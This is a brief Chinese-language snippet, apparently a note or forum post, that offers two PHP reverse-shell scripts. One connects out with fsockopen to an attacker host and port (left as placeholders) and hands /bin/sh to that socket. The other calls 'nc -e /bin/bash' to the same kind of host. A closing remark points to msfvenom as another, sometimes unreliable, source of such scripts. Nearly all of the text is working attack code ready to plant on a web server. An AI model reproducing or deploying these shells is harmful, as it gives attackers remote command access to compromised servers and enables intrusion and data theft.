php反弹shell脚本

<?php
$ip = "主机ip地址";
$port = "主机端口";
$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

另一种

<?php
exec("nc -e /bin/bash 主机IP 主机端口");
?> 

用msfvenom也可以生成反弹shell脚本，但有时候用不了。